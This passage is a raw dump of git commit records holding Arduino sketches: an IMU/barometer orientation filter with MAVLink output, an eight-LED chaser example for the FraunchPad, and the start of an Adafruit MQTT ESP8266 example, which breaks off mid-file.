two\n \/\/ should provide a pretty good calibration offset. Don't forget that for the MPU9150, the magnetometer x- and y-axes are switched \n \/\/ compared to the gyro and accelerometer!\n\n m2 = -m2;\n \/\/ Apply calibration offsets on raw measurements that correspond to your environment and magnetometer\n m1 = m1 + MAG_1_OFFSET;\n m2 = m2 + MAG_2_OFFSET;\n m3 = m3 + MAG_3_OFFSET;\n \/\/ Sensors x (y)-axis of the accelerometer is aligned with the y (x)-axis of the magnetometer;\n \/\/ the magnetometer z-axis (+ down) is opposite to z-axis (+ up) of accelerometer and gyro!\n \/\/ We have to make some allowance for this orientationmismatch in feeding the output to the quaternion filter.\n mx = m2*MAG_RANGE_mG\/pow(2, 12); \/\/Warning x and y are inverted!!\n my = m1*MAG_RANGE_mG\/pow(2, 12); \n mz = m3*MAG_RANGE_mG\/pow(2, 12);\n \n }\n \n time_boot_us = micros();\n time_boot_ms = millis();\n deltat_s = ((time_boot_us - lastUpdate_us)\/1000000.0f); \/\/ set integration time by time elapsed since last filter update\n lastUpdate_us = time_boot_us;\n\n \/\/ Pass gyro rate as rad\/s\n MadgwickQuaternionUpdate(ax_g, ay_g, az_g, gx_degps*PI\/180.0f, gy_degps*PI\/180.0f, gz_degps*PI\/180.0f, mx, my, mz);\n \/\/ MahonyQuaternionUpdate(ax_g, ay, az, gx_degps*PI\/180.0f, gy_degps*PI\/180.0f, gz_degps*PI\/180.0f, my, mx, mz);\n \n \/\/ Serial print and\/or display at output rate independent of data rates\n delt_t_ms = fabs(millis() - last_output_ms);\n if (delt_t_ms > OUTPUT_RATE_ms) {\n last_output_ms = millis();\n \/\/ Define output variables from updated quaternion---these are Tait-Bryan angles, commonly used in aircraft orientation.\n \/\/ In this coordinate system, the positive z-axis is down toward Earth. \n \/\/ Yaw is the angle between Sensor x-axis and Earth magnetic North (or true North if corrected for local declination, looking down on the sensor positive yaw is counterclockwise.\n \/\/ Pitch is angle between sensor x-axis and Earth ground plane, toward the Earth is positive, up toward the sky is negative.\n \/\/ Roll is angle between sensor y-axis and Earth ground plane, y-axis up is positive roll.\n \/\/ These arise from the definition of the homogeneous rotation matrix constructed from quaternions.\n \/\/ Tait-Bryan angles as well as Euler angles are non-commutative; that is, the get the correct orientation the rotations must be\n \/\/ applied in the correct order which for this configuration is yaw, pitch, and then roll.\n \/\/ For more see http:\/\/en.wikipedia.org\/wiki\/Conversion_between_quaternions_and_Euler_angles which has additional links.\n yaw = atan2(2.0f * (q[1] * q[2] + q[0] * q[3]), q[0] * q[0] + q[1] * q[1] - q[2] * q[2] - q[3] * q[3]); \n pitch = -asin(2.0f * (q[1] * q[3] - q[0] * q[2]));\n roll = atan2(2.0f * (q[0] * q[1] + q[2] * q[3]), q[0] * q[0] - q[1] * q[1] - q[2] * q[2] + q[3] * q[3]);\n yaw = yaw + LOCAL_DECLINATION_DEG*PI\/180.0f; \/\/ Declination is difference between magnetic and true north\n \n#ifdef USE_MAVLINK\n \/\/ Initialize the required buffers \n mavlink_message_t msg; \n uint8_t buf[MAVLINK_MAX_PACKET_LEN];\n uint16_t len;\n \n if ((outputMode == FUSION)||(outputMode == RAW))\n {\n mavlink_msg_heartbeat_pack(system_id, component_id, &msg, MAV_TYPE_KITE, MAV_AUTOPILOT_GENERIC, MAV_MODE_GUIDED_ARMED, 0, MAV_STATE_ACTIVE);\n len = mavlink_msg_to_send_buffer(buf, &msg);\n Serial.write(buf, len);\n }\n \n if (outputMode == FUSION)\n {\n \/\/static inline uint16_t mavlink_msg_attitude_pack(uint8_t system_id, uint8_t component_id, mavlink_message_t* msg,\n \/\/ uint32_t time_boot_ms, float roll, float pitch, float yaw, float rollspeed, float pitchspeed, float yawspeed)\n mavlink_msg_attitude_pack(system_id, component_id, &msg, time_boot_ms, roll, pitch, yaw, gx_degps*PI\/180.0f, gy_degps*PI\/180.0f, gz_degps*PI\/180.0f);\n len = mavlink_msg_to_send_buffer(buf, &msg);\n Serial.write(buf, len);\n mavlink_msg_scaled_pressure_pack(system_id, component_id, &msg, time_boot_ms, press, press-ground_press, temperature);\n len = mavlink_msg_to_send_buffer(buf, &msg);\n Serial.write(buf, len);\n \n mavlink_msg_distance_sensor_pack(system_id,component_id, &msg,time_boot_ms, 4, 400, (uint16_t)d1, MAV_DISTANCE_SENSOR_ULTRASOUND, 0, MAV_SENSOR_ROTATION_NONE, 1);\n\tlen = mavlink_msg_to_send_buffer(buf, &msg);\n Serial.write(buf, len);\n mavlink_msg_distance_sensor_pack(system_id,component_id+1, &msg,time_boot_ms, 4, 400, (uint16_t)d2, MAV_DISTANCE_SENSOR_ULTRASOUND, 1, MAV_SENSOR_ROTATION_NONE, 1);\n\tlen = mavlink_msg_to_send_buffer(buf, &msg);\n Serial.write(buf, len);\t\n mavlink_msg_distance_sensor_pack(system_id,component_id+2, &msg,time_boot_ms, 4, 400, (uint16_t)d3, MAV_DISTANCE_SENSOR_ULTRASOUND, 2, MAV_SENSOR_ROTATION_NONE, 1);\n\tlen = mavlink_msg_to_send_buffer(buf, &msg);\n Serial.write(buf, len);\t\n }\n \n if (outputMode == RAW)\n {\n \/\/static inline uint16_t mavlink_msg_highres_imu_pack(uint8_t system_id, uint8_t component_id, mavlink_message_t* msg,\n \/\/\t\t\t\t\t\t uint64_t time_usec, float xacc, float yacc, float zacc, float xgyro, float ygyro, float zgyro, float xmag, float ymag, float zmag, float abs_pressure, float diff_pressure, float pressure_alt, float temperature, uint16_t fields_updated)\n mavlink_msg_highres_imu_pack(system_id, component_id, &msg, (uint64_t)time_boot_us, ax_g*9.81, ay_g*9.81, az_g*9.81, gx_degps*PI\/180.0f, gy_degps*PI\/180.0f, gz_degps*PI\/180.0f, mx, my, mz, press, press-ground_press, altitude, temperature, a1);\n len = mavlink_msg_to_send_buffer(buf, &msg);\n Serial.write(buf, len);\t\t\t\n }\n \/*\n \/\/mavlink_msg_scaled_imu_pack(uint8_t system_id, uint8_t component_id, mavlink_message_t* msg,\n \/\/ uint32_t time_boot_ms, int16_t xacc, int16_t yacc, int16_t zacc, int16_t xgyro, int16_t ygyro, int16_t zgyro, int16_t xmag, int16_t ymag, int16_t zmag)\n mavlink_msg_raw_imu_pack(system_id, component_id, &msg, time_boot_ms, a1, a2, a3, g1, g2, g3, m1, m2, m3);\n len = mavlink_msg_to_send_buffer(buf, &msg);\n Serial.write(buf, len);\n \n mavlink_msg_scaled_imu_pack(system_id, component_id, &msg, time_boot_ms, ax_g*1000, ay_g*1000, az_g*1000, gx_degps*PI\/180.0f*1000, gy_degps*PI\/180.0f*1000, gz_degps*PI\/180.0f*1000, mx, my, mz);\n len = mavlink_msg_to_send_buffer(buf, &msg);\n Serial.write(buf, len);\n *\/\n \n#endif\n if (outputMode == DEBUG)\n {\n Serial.print(\"ax = \"); Serial.print((int)1000*ax_g); \n Serial.print(\" ay = \"); Serial.print((int)1000*ay_g); \n Serial.print(\" az = \"); Serial.print((int)1000*az_g); Serial.println(\" mg\");\n Serial.print(\"gx = \"); Serial.print( gx_degps, 2); \n Serial.print(\" gy = \"); Serial.print( gy_degps, 2); \n Serial.print(\" gz = \"); Serial.print( gz_degps, 2); Serial.println(\" deg\/s\");\n Serial.print(\"mx = \"); Serial.print( (int)mx ); \n Serial.print(\" my = \"); Serial.print( (int)my ); \n Serial.print(\" mz = \"); Serial.print( (int)mz ); Serial.println(\" mG\");\n \n Serial.print(\"q0 = \"); Serial.print(q[0]);\n Serial.print(\" qx = \"); Serial.print(q[1]); \n Serial.print(\" qy = \"); Serial.print(q[2]); \n Serial.print(\" qz = \"); Serial.println(q[3]); \n Serial.print(\"Yaw, Pitch, Roll: \");\n Serial.print(yaw*180.0f \/ PI, 2);\n Serial.print(\", \");\n Serial.print(pitch*180.0f \/ PI, 2);\n Serial.print(\", \");\n Serial.println(roll*180.0f \/ PI, 2);\n \n Serial.print(\"rate = \"); Serial.print((float)1.0f\/deltat_s, 2); Serial.println(\" Hz\");\n \n Serial.print(\" temp: \");\n Serial.print(temperature);\n Serial.print(\" degC pres: \");\n Serial.print(press);\n Serial.print(\" mbar altitude: \");\n Serial.print(altitude);\n Serial.println(\" m\");\n }\n \n \/\/ With these settings the filter is updating at a ~145 Hz rate using the Madgwick scheme and \n \/\/ >200 Hz using the Mahony scheme even though the display refreshes at only 2 Hz.\n \/\/ The filter update rate is determined mostly by the mathematical steps in the respective algorithms, \n \/\/ the processor speed (8 MHz for the 3.3V Pro Mini), and the magnetometer ODR:\n \/\/ an ODR of 10 Hz for the magnetometer produce the above rates, maximum magnetometer ODR of 100 Hz produces\n \/\/ filter update rates of 36 - 145 and ~38 Hz for the Madgwick and Mahony schemes, respectively. \n \/\/ This is presumably because the magnetometer read takes longer than the gyro or accelerometer reads.\n \/\/ This filter update rate should be fast enough to maintain accurate platform orientation for \n \/\/ stabilization control of a fast-moving robot or quadcopter. Compare to the update rate of 200 Hz\n \/\/ produced by the on-board Digital Motion Processor of Invensense's MPU6050 6 DoF and MPU9150 9DoF sensors.\n \/\/ The 3.3 V 8 MHz Pro Mini is doing pretty well!\n }\n}\nvoid processSerialInput()\n{\n \/\/ Print the string when a newline arrives:\n if (stringComplete)\n { \n if (inputString.startsWith(\"r\"))\n {\n outputMode = RAW;\n }\n else if (inputString.startsWith(\"f\"))\n {\n outputMode = FUSION;\n }\n else if (inputString.startsWith(\"d\"))\n {\n outputMode = DEBUG;\n }\n \n \/\/ Clear the string:\n inputString = \"\";\n stringComplete = false;\n }\n}\nvoid getBaroData()\n{\n temperature = baro.getTemperature(MS561101BA_OSR_4096);\n press = baro.getPressure(MS561101BA_OSR_4096);\n pushAvg(press);\n press = getAvg(movavg_buff, MOVAVG_SIZE);\n if (millis()<5000)\n ground_press = press;\n altitude = getAltitude(press, temperature);\n}\nvoid automaticGyroRangeSelection()\n{\n for (int i =0; i<=2; i++)\n { \n if (max(max(fabs(gx_degps),fabs(gy_degps)),fabs(gz_degps)) <0.2*GYRO_RANGE_DEGPS*pow(2, i))\n {\n n_gyro_range = i;\n }\n else\n {\n n_gyro_range = i+1;\n }\n }\n \n if (n_gyro_range!=n_gyro_range_old)\n {\n \/\/ Full-scale range of the gyro sensors:\n \/\/ 0 = +\/- 250 degrees\/sec, 1 = +\/- 500 degrees\/sec, 2 = +\/- 1000 degrees\/sec, 3 = +\/- 2000 degrees\/sec\n accelGyroMag.setFullScaleGyroRange(n_gyro_range); \/\/ set gyro range to 250 degrees\/sec\n n_gyro_range_old = n_gyro_range;\n }\n}\nvoid automaticAccelRangeSelection()\n{\n for (int i =0; i<=2; i++)\n { \n if (max(max(fabs(ax_g),fabs(ay_g)),fabs(az_g)) <0.2*ACCEL_RANGE_G*pow(2, i))\n {\n n_accel_range = i;\n }\n else\n {\n n_accel_range = i+1;\n }\n }\n \n if (n_accel_range!=n_accel_range_old)\n {\n \/\/ Full-scale accelerometer range.\n\/\/ The full-scale range of the accelerometer: 0 = +\/- 2g, 1 = +\/- 4g, 2 = +\/- 8g, 3 = +\/- 16g\n accelGyroMag.setFullScaleAccelRange(n_accel_range);\n n_accel_range_old = n_accel_range;\n }\n}\n\n\nfloat getAltitude(float press, float temp) {\n \/\/return (1.0f - pow(press\/101325.0f, 0.190295f)) * 4433000.0f;\n return ((pow((sea_press \/ press), 1\/5.257) - 1.0) * (temp + 273.15)) \/ 0.0065;\n}\n\nvoid pushAvg(float val) {\n movavg_buff[movavg_i] = val;\n movavg_i = (movavg_i + 1) % MOVAVG_SIZE;\n}\n\nfloat getAvg(float * buff, int size) {\n float sum = 0.0;\n for(int i=0; i<size; i++) {\n sum += buff[i];\n }\n return sum \/ size;\n}\n\n\n\/\/ Implementation of Sebastian Madgwick's \"...efficient orientation filter for... inertial\/magnetic sensor arrays\"\n\/\/ (see http:\/\/www.x-io.co.uk\/category\/open-source\/ for examples and more details)\n\/\/ which fuses acceleration, rotation rate, and magnetic moments to produce a quaternion-based estimate of absolute\n\/\/ device orientation -- which can be converted to yaw, pitch, and roll. Useful for stabilizing quadcopters, etc.\n\/\/ The performance of the orientation filter is at least as good as conventional Kalman-based filtering algorithms\n\/\/ but is much less computationally intensive---it can be performed on a 3.3 V Pro Mini operating at 8 MHz!\n void MadgwickQuaternionUpdate(float ax, float ay, float az, float gx, float gy, float gz, float mx, float my, float mz)\n {\n float q1 = q[0], q2 = q[1], q3 = q[2], q4 = q[3]; \/\/ short name local variable for readability\n float norm;\n float hx, hy, _2bx, _2bz;\n float s1, s2, s3, s4;\n float qDot1, qDot2, qDot3, qDot4;\n\n \/\/ Auxiliary variables to avoid repeated arithmetic\n float _2q1mx;\n float _2q1my;\n float _2q1mz;\n float _2q2mx;\n float _4bx;\n float _4bz;\n float _2q1 = 2.0f * q1;\n float _2q2 = 2.0f * q2;\n float _2q3 = 2.0f * q3;\n float _2q4 = 2.0f * q4;\n float _2q1q3 = 2.0f * q1 * q3;\n float _2q3q4 = 2.0f * q3 * q4;\n float q1q1 = q1 * q1;\n float q1q2 = q1 * q2;\n float q1q3 = q1 * q3;\n float q1q4 = q1 * q4;\n float q2q2 = q2 * q2;\n float q2q3 = q2 * q3;\n float q2q4 = q2 * q4;\n float q3q3 = q3 * q3;\n float q3q4 = q3 * q4;\n float q4q4 = q4 * q4;\n\n \/\/ Normalise accelerometer measurement\n norm = sqrt(ax * ax + ay * ay + az * az);\n if (norm == 0.0f) return; \/\/ handle NaN\n norm = 1.0f\/norm;\n ax *= norm;\n ay *= norm;\n az *= norm;\n\n \/\/ Normalise magnetometer measurement\n norm = sqrt(mx * mx + my * my + mz * mz);\n if (norm == 0.0f) return; \/\/ handle NaN\n norm = 1.0f\/norm;\n mx *= norm;\n my *= norm;\n mz *= norm;\n\n \/\/ Reference direction of Earth's magnetic field\n _2q1mx = 2.0f * q1 * mx;\n _2q1my = 2.0f * q1 * my;\n _2q1mz = 2.0f * q1 * mz;\n _2q2mx = 2.0f * q2 * mx;\n hx = mx * q1q1 - _2q1my * q4 + _2q1mz * q3 + mx * q2q2 + _2q2 * my * q3 + _2q2 * mz * q4 - mx * q3q3 - mx * q4q4;\n hy = _2q1mx * q4 + my * q1q1 - _2q1mz * q2 + _2q2mx * q3 - my * q2q2 + my * q3q3 + _2q3 * mz * q4 - my * q4q4;\n _2bx = sqrt(hx * hx + hy * hy);\n _2bz = -_2q1mx * q3 + _2q1my * q2 + mz * q1q1 + _2q2mx * q4 - mz * q2q2 + _2q3 * my * q4 - mz * q3q3 + mz * q4q4;\n _4bx = 2.0f * _2bx;\n _4bz = 2.0f * _2bz;\n\n \/\/ Gradient decent algorithm corrective step\n s1 = -_2q3 * (2.0f * q2q4 - _2q1q3 - ax) + _2q2 * (2.0f * q1q2 + _2q3q4 - ay) - _2bz * q3 * (_2bx * (0.5f - q3q3 - q4q4) + _2bz * (q2q4 - q1q3) - mx) + (-_2bx * q4 + _2bz * q2) * (_2bx * (q2q3 - q1q4) + _2bz * (q1q2 + q3q4) - my) + _2bx * q3 * (_2bx * (q1q3 + q2q4) + _2bz * (0.5f - q2q2 - q3q3) - mz);\n s2 = _2q4 * (2.0f * q2q4 - _2q1q3 - ax) + _2q1 * (2.0f * q1q2 + _2q3q4 - ay) - 4.0f * q2 * (1.0f - 2.0f * q2q2 - 2.0f * q3q3 - az) + _2bz * q4 * (_2bx * (0.5f - q3q3 - q4q4) + _2bz * (q2q4 - q1q3) - mx) + (_2bx * q3 + _2bz * q1) * (_2bx * (q2q3 - q1q4) + _2bz * (q1q2 + q3q4) - my) + (_2bx * q4 - _4bz * q2) * (_2bx * (q1q3 + q2q4) + _2bz * (0.5f - q2q2 - q3q3) - mz);\n s3 = -_2q1 * (2.0f * q2q4 - _2q1q3 - ax) + _2q4 * (2.0f * q1q2 + _2q3q4 - ay) - 4.0f * q3 * (1.0f - 2.0f * q2q2 - 2.0f * q3q3 - az) + (-_4bx * q3 - _2bz * q1) * (_2bx * (0.5f - q3q3 - q4q4) + _2bz * (q2q4 - q1q3) - mx) + (_2bx * q2 + _2bz * q4) * (_2bx * (q2q3 - q1q4) + _2bz * (q1q2 + q3q4) - my) + (_2bx * q1 - _4bz * q3) * (_2bx * (q1q3 + q2q4) + _2bz * (0.5f - q2q2 - q3q3) - mz);\n s4 = _2q2 * (2.0f * q2q4 - _2q1q3 - ax) + _2q3 * (2.0f * q1q2 + _2q3q4 - ay) + (-_4bx * q4 + _2bz * q2) * (_2bx * (0.5f - q3q3 - q4q4) + _2bz * (q2q4 - q1q3) - mx) + (-_2bx * q1 + _2bz * q3) * (_2bx * (q2q3 - q1q4) + _2bz * (q1q2 + q3q4) - my) + _2bx * q2 * (_2bx * (q1q3 + q2q4) + _2bz * (0.5f - q2q2 - q3q3) - mz);\n norm = sqrt(s1 * s1 + s2 * s2 + s3 * s3 + s4 * s4); \/\/ normalise step magnitude\n norm = 1.0f\/norm;\n s1 *= norm;\n s2 *= norm;\n s3 *= norm;\n s4 *= norm;\n\n \/\/ Compute rate of change of quaternion\n qDot1 = 0.5f * (-q2 * gx - q3 * gy - q4 * gz) - beta * s1;\n qDot2 = 0.5f * (q1 * gx + q3 * gz - q4 * gy) - beta * s2;\n qDot3 = 0.5f * (q1 * gy - q2 * gz + q4 * gx) - beta * s3;\n qDot4 = 0.5f * (q1 * gz + q2 * gy - q3 * gx) - beta * s4;\n\n \/\/ Integrate to yield quaternion\n q1 += qDot1 * deltat_s;\n q2 += qDot2 * deltat_s;\n q3 += qDot3 * deltat_s;\n q4 += qDot4 * deltat_s;\n norm = sqrt(q1 * q1 + q2 * q2 + q3 * q3 + q4 * q4); \/\/ normalise quaternion\n norm = 1.0f\/norm;\n q[0] = q1 * norm;\n q[1] = q2 * norm;\n q[2] = q3 * norm;\n q[3] = q4 * norm;\n\n }\n \n \n \n \/\/ Similar to Madgwick scheme but uses proportional and integral filtering on the error between estimated reference vectors and\n \/\/ measured ones. \n void MahonyQuaternionUpdate(float ax, float ay, float az, float gx, float gy, float gz, float mx, float my, float mz)\n {\n float q1 = q[0], q2 = q[1], q3 = q[2], q4 = q[3]; \/\/ short name local variable for readability\n float norm;\n float hx, hy, bx, bz;\n float vx, vy, vz, wx, wy, wz;\n float ex, ey, ez;\n float pa, pb, pc;\n\n \/\/ Auxiliary variables to avoid repeated arithmetic\n float q1q1 = q1 * q1;\n float q1q2 = q1 * q2;\n float q1q3 = q1 * q3;\n float q1q4 = q1 * q4;\n float q2q2 = q2 * q2;\n float q2q3 = q2 * q3;\n float q2q4 = q2 * q4;\n float q3q3 = q3 * q3;\n float q3q4 = q3 * q4;\n float q4q4 = q4 * q4; \n\n \/\/ Normalise accelerometer measurement\n norm = sqrt(ax * ax + ay * ay + az * az);\n if (norm == 0.0f) return; \/\/ handle NaN\n norm = 1.0f \/ norm; \/\/ use reciprocal for division\n ax *= norm;\n ay *= norm;\n az *= norm;\n\n \/\/ Normalise magnetometer measurement\n norm = sqrt(mx * mx + my * my + mz * mz);\n if (norm == 0.0f) return; \/\/ handle NaN\n norm = 1.0f \/ norm; \/\/ use reciprocal for division\n mx *= norm;\n my *= norm;\n mz *= norm;\n\n \/\/ Reference direction of Earth's magnetic field\n hx = 2.0f * mx * (0.5f - q3q3 - q4q4) + 2.0f * my * (q2q3 - q1q4) + 2.0f * mz * (q2q4 + q1q3);\n hy = 2.0f * mx * (q2q3 + q1q4) + 2.0f * my * (0.5f - q2q2 - q4q4) + 2.0f * mz * (q3q4 - q1q2);\n bx = sqrt((hx * hx) + (hy * hy));\n bz = 2.0f * mx * (q2q4 - q1q3) + 2.0f * my * (q3q4 + q1q2) + 2.0f * mz * (0.5f - q2q2 - q3q3);\n\n \/\/ Estimated direction of gravity and magnetic field\n vx = 2.0f * (q2q4 - q1q3);\n vy = 2.0f * (q1q2 + q3q4);\n vz = q1q1 - q2q2 - q3q3 + q4q4;\n wx = 2.0f * bx * (0.5f - q3q3 - q4q4) + 2.0f * bz * (q2q4 - q1q3);\n wy = 2.0f * bx * (q2q3 - q1q4) + 2.0f * bz * (q1q2 + q3q4);\n wz = 2.0f * bx * (q1q3 + q2q4) + 2.0f * bz * (0.5f - q2q2 - q3q3); \n\n \/\/ Error is cross product between estimated direction and measured direction of gravity\n ex = (ay * vz - az * vy) + (my * wz - mz * wy);\n ey = (az * vx - ax * vz) + (mz * wx - mx * wz);\n ez = (ax * vy - ay * vx) + (mx * wy - my * wx);\n if (Ki > 0.0f)\n {\n eInt[0] += ex; \/\/ accumulate integral error\n eInt[1] += ey;\n eInt[2] += ez;\n }\n else\n {\n eInt[0] = 0.0f; \/\/ prevent integral wind up\n eInt[1] = 0.0f;\n eInt[2] = 0.0f;\n }\n\n \/\/ Apply feedback terms\n gx = gx + Kp * ex + Ki * eInt[0];\n gy = gy + Kp * ey + Ki * eInt[1];\n gz = gz + Kp * ez + Ki * eInt[2];\n\n \/\/ Integrate rate of change of quaternion\n pa = q2;\n pb = q3;\n pc = q4;\n q1 = q1 + (-q2 * gx - q3 * gy - q4 * gz) * (0.5f * deltat_s);\n q2 = pa + (q1 * gx + pb * gz - pc * gy) * (0.5f * deltat_s);\n q3 = pb + (q1 * gy - pa * gz + pc * gx) * (0.5f * deltat_s);\n q4 = pc + (q1 * gz + pa * gy - pb * gx) * (0.5f * deltat_s);\n\n \/\/ Normalise quaternion\n norm = sqrt(q1 * q1 + q2 * q2 + q3 * q3 + q4 * q4);\n norm = 1.0f \/ norm;\n q[0] = q1 * norm;\n q[1] = q2 * norm;\n q[2] = q3 * norm;\n q[3] = q4 * norm;\n \n }\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/ultrasonic_IMU\/ultrasonic_IMU.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"708cf340f012738f39aedd606b9ffca500f7fd93","subject":"Added 8 LEDs example for FraunchPad","message":"Added 8 LEDs example for FraunchPad\n","repos":"vigneshmanix\/Energia,bobintornado\/Energia,bobintornado\/Energia,DavidUser\/Energia,DavidUser\/Energia,sanyaade-iot\/Energia,vigneshmanix\/Energia,vigneshmanix\/Energia,radiolok\/Energia,dvdvideo1234\/Energia,NoPinky\/Energia,brianonn\/Energia,battosai30\/Energia,croberts15\/Energia,DavidUser\/Energia,martianmartin\/Energia,dvdvideo1234\/Energia,danielohh\/Energia,bobintornado\/Energia,martianmartin\/Energia,NoPinky\/Energia,radiolok\/Energia,danielohh\/Energia,martianmartin\/Energia,danielohh\/Energia,croberts15\/Energia,qtonthat\/Energia,qtonthat\/Energia,cevatbostancioglu\/Energia,radiolok\/Energia,danielohh\/Energia,DavidUser\/Energia,martianmartin\/Energia,cevatbostancioglu\/Energia,cevatbostancioglu\/Energia,qtonthat\/Energia,dvdvideo1234\/Energia,DavidUser\/Energia,bobintornado\/Energia,dvdvideo1234\/Energia,battosai30\/Energia,sanyaade-iot\/Energia,qtonthat\/Energia,bobintornado\/Energia,brianonn\/Energia,bobintornado\/Energia,croberts15\/Energia,sanyaade-iot\/Energia,martianmartin\/Energia,croberts15\/Energia,NoPinky\/Energia,brianonn\/Energia,croberts15\/Energia,NoPinky\/Energia,sanyaade-iot\/Energia,danielohh\/Energia,battosai30\/Energia,NoPinky\/Energia,cevatbostancioglu\/Energia,vigneshmanix\/Energia,NoPinky\/Energia,qtonthat\/Energia,NoPinky\/Energia,cevatbostancioglu\/Energia,brianonn\/Energia,brianonn\/Energia,martianmartin\/Energia,dvdvideo1234\/Energia,battosai30\/Energia,danielohh\/Energia,radiolok\/Energia,dvdvideo1234\/Energia,qtonthat\/Energia,vigneshmanix\/Energia,battosai30\/Energia,sanyaade-iot\/Energia,radiolok\/Energia,sanyaade-iot\/Energia,battosai30\/Energia,radiolok\/Energia,dvdvideo1234\/Energia,cevatbostancioglu\/Energia,bobintornado\/Energia,brianonn\/Energia,croberts15\/Energia,vigneshmanix\/Energia,DavidUser\/Energia,radiolok\/Energia,battosai30\/Energia,qtonthat\/Energia,croberts15\/Energia,cevatbostancioglu\/Energia,DavidUser\/Energia,vigneshmanix\/Energia,martianmartin\/Energia,brianonn\/Energia,sanyaade-iot\/Energia,danielohh\/Energia","old_file":"examples\/1.Basics\/FRAM_8_LEDs\/FRAM_8_LEDs.ino","new_file":"examples\/1.Basics\/FRAM_8_LEDs\/FRAM_8_LEDs.ino","new_contents":"\/\/\/\n\/\/\/ @mainpage\tFRAM_8_LEDs\n\/\/\/ @details\tFraunchPad playing K2000!\n\/\/\/ @n\n\/\/\/ @n\n\/\/\/ @n @a\tDeveloped with [embedXcode](http:\/\/embedXcode.weebly.com)\n\/\/\/\n\/\/\/ @author\tRei VILO\n\/\/\/ @author\thttp:\/\/embedxcode.weebly.com\n\/\/\/ @date\t01\/11\/12 15:56\n\/\/\/ @version\t101\n\/\/\/\n\/\/\/ @copyright\t\u00a9 Rei VILO, 2012\n\/\/\/ @copyright\tCC = BY NC SA\n\/\/\/\n\/\/\/ @see\tReadMe.txt for references\n\/\/\/\n\n\n\/\/\/\n\/\/\/ @file\tFRAM_8_LEDs.ino\n\/\/\/ @brief\tMain sketch\n\/\/\/ @details\tFraunchPad playing K2000!\n\/\/\/ @n @a\tDeveloped with [embedXcode](http:\/\/embedXcode.weebly.com)\n\/\/\/\n\/\/\/ @author\tRei VILO\n\/\/\/ @author\thttp:\/\/embedxcode.weebly.com\n\/\/\/ @date\t01\/11\/12 15:56\n\/\/\/ @version\t101\n\/\/\/\n\/\/\/ @copyright\t\u00a9 Rei VILO, 2012\n\/\/\/ @copyright\tCC = BY NC SA\n\/\/\/\n\/\/\/ @see\tReadMe.txt for references\n\/\/\/ @n\n\/\/\/\n\n\n\/\/ Core library - MCU-based\n#if defined(__MSP430FR5739__) \/\/ FraunchPad specific\n#include \"Energia.h\"\n#else\n#error Platform not supported\n#endif\n\n\n\/\/ Include application, user and local libraries\n\n\/\/ Define variables and constants\n\/\/\/\n\/\/\/ @brief\tTable of the LEDs\n\/\/\/\nuint8_t myLED[8];\nuint8_t i;\nconst uint16_t PAUSE = 20; \/\/ ms\nconst uint16_t STAY = 80; \/\/ ms\n\n\/\/\/\n\/\/\/ @brief\tSetup\n\/\/\/ @details\tDefine the pins of the LEDs\n\/\/\/\nvoid setup() {\n myLED[0] = LED1;\n myLED[1] = LED2;\n myLED[2] = LED3;\n myLED[3] = LED4;\n myLED[4] = LED5;\n myLED[5] = LED6;\n myLED[6] = LED7;\n myLED[7] = LED8;\n \n for (i=0; i<8; i++) {\n pinMode(myLED[i], OUTPUT);\n digitalWrite(myLED[i], LOW);\n }\n}\n\n\/\/\/\n\/\/\/ @brief\tLoop\n\/\/\/\nvoid loop() {\n digitalWrite(myLED[0], HIGH);\n delay(PAUSE);\n \n for (i=1; i<8; i++) {\n digitalWrite(myLED[i], HIGH);\n delay(PAUSE);\n digitalWrite(myLED[i-1], LOW);\n delay(STAY);\n }\n \n digitalWrite(myLED[7], HIGH);\n delay(PAUSE);\n \n for (i=1; i<8; i++) {\n digitalWrite(myLED[7-i], HIGH);\n delay(PAUSE);\n digitalWrite(myLED[7-i+1], LOW);\n delay(STAY);\n }\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/1.Basics\/FRAM_8_LEDs\/FRAM_8_LEDs.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"ce2028ac0f9a399040fbcb7777b54ea586ae3135","subject":"_05_kidSerie_sketch_05.Adafruit_First_Try.ino 05#kidSerie","message":"_05_kidSerie_sketch_05.Adafruit_First_Try.ino 05#kidSerie\n\n_05_kidSerie_sketch_05.Adafruit_First_Try.ino 05#kidSerie","repos":"giljr\/kidSeries,giljr\/kidSeries,giljr\/kidSeries","old_file":"_05_kidSerie_sketch_05.Adafruit_First_Try.ino","new_file":"_05_kidSerie_sketch_05.Adafruit_First_Try.ino","new_contents":"\/*\n Project name:\n 05 #kidSerie - Adafruit-IO Meets ESP8266, Arduino & MIT App Inventor 2\n (Awesome Smart Phone App!)\n Flavour V -\n Hex File: _05_kidSerie_sketch_05.Adafruit_First_Try.ino\n Revision History:\n 20161029:\n - from github adafruit\/Adafruit_MQTT_Library\n https:\/\/github.com\/adafruit\/Adafruit_MQTT_Library\/blob\/master\/examples\/mqtt_esp8266\/mqtt_esp8266.ino\n https:\/\/learn.adafruit.com\/mqtt-adafruit-io-and-you\/intro-to-adafruit-mqtt\n\n Description:\n Simple code to intro Adafruit-io technology using MQTT broker, ESP8266, DHTXX sensor & arduino.\n We will publish two topics: temp and humidity and subscribe them also.\n We will access the our dashboard by phone using MIT App Inventor 2.\n Awesome project!!!\n\n MCU: Arduino 1.6.12 - @16MHz http:\/\/www.arduino.cc\/\n ESP8266: ESP-01 https:\/\/goo.gl\/E0Eq4l\n DHT11: PRODUCT ID: 386 https:\/\/www.adafruit.com\/product\/386\n\n Connections:\n See Official youtube channel vids:\n Based on: Tony DiCola for Adafruit Industries - see below!\n\n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License v3 as published by\n the Free Software Foundation\n*\/\n\/***************************************************\n Adafruit MQTT Library ESP8266 Example\n Must use ESP8266 Arduino from:\n https:\/\/github.com\/esp8266\/Arduino\n Works great with Adafruit's Huzzah ESP board & Feather\n ----> https:\/\/www.adafruit.com\/product\/2471\n ----> https:\/\/www.adafruit.com\/products\/2821\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n Written by Tony DiCola for Adafruit Industries.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n\/******************************* Adafruit MQTT *******************************\/\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_Client.h\"\n\n\/******************************* Esp8266**************************************\/\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include 